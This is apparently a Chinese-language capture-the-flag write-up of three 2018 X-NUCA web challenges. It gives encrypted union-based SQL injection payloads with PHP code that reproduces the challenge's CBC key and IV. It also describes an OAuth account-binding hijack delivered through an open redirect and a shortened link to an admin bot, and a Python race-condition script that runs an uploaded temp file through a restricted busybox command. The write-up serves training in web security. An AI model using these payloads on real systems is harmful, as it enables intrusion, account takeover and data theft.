CTF-WEB 2018 X-NUCA
1、題目名code check
上去看是一個登陸的介面,robots 原始碼洩露什麼的都沒有,發現通知頁有帶有引數的url:
http://47.107.236.42:49882/news/list.php?id=b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09
不過跑sqlmap沒用,但是有一個提醒,說看起來是base64編碼,但是直接解碼什麼也看不出來。
好奇心隨意點上一層目錄 結果http://47.107.236.42:49882/news可以下載原始碼 這裡使用御劍也可以掃描出來
下載得到原始碼,獲取了id的解密方法
就是一個CBC,先是兩次base64解密,然後在CBC解密。直接換個函式,將mdecrypt_generic換為mcrypt_generic就是加密函式,直接在原版函式上更改一下,變為加密解密函式
使用sql注入,需要使用CBC加密之後傳入給id=》$re = decode($ori,1);
$ori = "2 union select 1,2,group_concat(schema_name),4 from information_schema.schemata# "."hxb2018";
$ori = "2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'# "."hxb2018";
$ori = "2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema='mozhe_discuz_stormgroup' and table_name='notice2'# "."hxb2018";
$ori = "2 union select 1,2,group_concat(title),4 from notice2# "."hxb2018";
我還是貼上程式碼吧,使用的一個線上php平臺很好用的,大家可以用它練習http://www.dooccn.com/php/
<?php
//裡面有加密解密 當初用來驗證來著
function decode($data,$type){
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
if($type==0) //0 解密
{
$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
if(substr(trim($data),-7)!=='hxb2018'){
echo '<script>window.location.href="/index.php";</script>';
}else{
# return substr(trim($data),0,strlen(trim($data))-7);
return rtrim($data);
}
}
else //1 加密
{
echo $data."\n";
$data = mcrypt_generic($td,$data);
echo $data."\n";
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
return base64_encode(base64_encode($data));
}
}
$id="b3FCRU5iOU9IemZYc1JQSkY0WG5JZz09";
//下面是執行的語句
//$ori = "1 union select 1,2,*,4 from test# "."hxb2018";
//$ori = "2 union select 1,2,group_concat(title),4 from notice2# "."hxb2018";
$ori = "2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema='mozhe_discuz_stormgroup' and table_name='notice2'# "."hxb2018";
//$ori = "2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'# "."hxb2018";
//$ori = "2 union select 1,2,group_concat(schema_name),4 from information_schema.schemata# "."hxb2018";
$re = decode($ori,1);
//' union select database()#
echo $re."\n";
$res = decode($re,0);
echo $res;
?>
最後我還要囉嗦兩句,關於sql注入的concat group_concat sunstr limit等這些函式和關鍵字 意義其實非常大,無論是一個一個字元的爆破,還是因為顯示位置不全需要使用組合函式。
2 題目名 Blog 連結:https://www.jianshu.com/p/bc106f7147b1
這裡我只是一個簡單敘述原理,關於引數獲取這個由於題目關閉,大家還是看看原文的吧
該題目已經提示了 使用的提示了第三方登入認證方式是OAuth2.0,類似於微信qqq快捷登入一樣的東西,在網上查到不少的利用方式
本題目的第三方登入視窗是這樣的
存在的問題是OAuth2.0的一個快捷登入授權劫持問題,問題出現的本質是帳號可重複繫結不同的第三方郵箱,所以讓admin繫結上我們註冊的郵箱,通過第三方郵箱登入admin帳號即可得到flag。
原理:一個使用者繫結郵箱時,根據在更改繫結頁面填寫的資訊,伺服器會生成一個state和code進行認證,即只要state和code正確,即可繫結成功,並不校驗繫結的賬戶是什麼。所以我們的方法是在繫結時擷取流量中的這條帶有state和code引數的url,然後在提交bug的位置讓管理員機器人去訪問,從而使得管理員綁定了我們的郵箱,登入賬號之後就可以得到flag。
不過這裡有長度要去,所以只能採用跳轉了
由於http://106.75.66.211:8000/main/login?next=/main/login 處存在重定向,所以我們可以通過重定向跳轉到vps上,即http://106.75.66.211:8000/main/login?next=[your_ip] 在vps上寫一個跳轉頁面
<html>
<script>
window.open('http://106.75.66.211:8000/main/oauth/?state=9PKyRdpU5D&code=Y5WjDdELjUMGaJpbYfs9lOPBtgEvrOOvZxmmwZsj')
</script>
</html>
將vps跳轉頁面地址壓縮成短鏈(推薦個短鏈生成地址:https://bitly.com),提交bug,最終提交Url為:http://106.75.66.211:8000/main/login?next=https://bit.ly/2Qiixxx 等待bot訪問後利用第三方郵箱登入
3.題目名 ezdotso
這個題目剛開始看起來怪嚇人的,有一個.so檔案,就是linux的連結庫檔案,登陸網頁又有一個原始碼
<?php
$param = array();
parse_str($_SERVER['QUERY_STRING']);
if (isset($action)){ //是否存在action變數
switch($action){ //判斷action變數內容
case "php_info": //如果是php_info
echo call_user_func_array("php_info",$param);
break;
case "cmd": //如果是cmd
if(isset($cmd)){
if(is_string($cmd)){
if (strlen($cmd)>9){ //如果長度大於9
die();
}
$pat1 = "/[^0-9a-zA-Z \/\*]/";
if (preg_match($pat1, $cmd)>0){ //如果滿足該正則失敗
die();
}
$pat2 = "/^[a-zA-Z]+ [0-9a-zA-Z\/\*]+$/";
if (preg_match($pat2, $cmd)==0){ //如果不滿足該正則 失敗
die();
}
system("busybox " . $cmd); //使用busybox執行我們的shell命令了
}
}
break;
default:
echo call_user_func_array("hello",$param); //預設的case 顯示hello資訊
break;
}
}else{
show_source(__FILE__);
}
那麼我們就看這三條件吧,首先我們要使用cmd命令
- 其命令串必須長度小於9
- 滿足正則,所有的字元必須在[0-9a-zA-Z \/\*]字符集中
- 滿足正則“部分1 部分2”兩者以空格分開,部分1由[a-zA-Z]組成,部分2在此基礎上可以有數字和/*兩個字元
那就限制了我們可以使用的命令,舉個簡單的例子“ls”肯定是不行,因為第三個條件就過不去,但ls /home是可以的
這個題目在根目錄下使用ls /就可以發現flag檔案,直接?action=cmd&cmd=cat /flag就可以得到flag
這裡需要強調的是這個匹配[^0-9a-zA-Z \/\*] 我們知道[a-z]表示的是a-z字符集,而[^a-z]匹配的則是任何不在a-z之內的字元,^表示非的意思,演示如下:
說明我們的所有字元必須都在[0-9a-zA-Z \/\*]之中,不在之內的都會被匹配出來導致第二個條件失敗,而第二個正則還是如上所說。
當然這個只是一個取巧的,這正做的還的是這一個
2018 X-NUCA ezdotso 條件競爭解法 來自https://xz.aliyun.com/t/3476
通過cmd=ls /h*/* 可以發現有個readflag 程式,所以思路比較清晰了執行readflag 就能拿到flag了。
可以通過busybox /h*/r* 但是這樣不滿足正則。陷入僵局。
php上傳產生的臨時檔案再次發揮了作用
php在上傳檔案的時候會在/tmp/ 資料夾下面生成/tmp/phpxxxxxx 檔案,所以我們可以在上傳的同時去執行
sh /t*/p* 剛好9個字元。
import requests
import threading
import os
url = "http://u.cn:3423"
payload = "sh /t*/p*"
assert(len(payload)<10)
params = {"action":"cmd", "cmd":payload}
files = {"hhh":"cat /var/www/html/index.php"}
def go():
r = requests.post(url, params=params, files=files)
#print(repr(r.text))
if "0<br>1<br>" != r.text:
print(r.text)
os._exit(0)
def upload():
r = requests.post(url, files=files)
while True:
t = threading.Thread(target=go, args=())
t.start()
#t = threading.Thread(target=upload, args=())
#t.start()
還有有關使用的
https://www.cnblogs.com/niuni-623/p/6520680.html
https://www.cn-space.com/2018/11/27/1/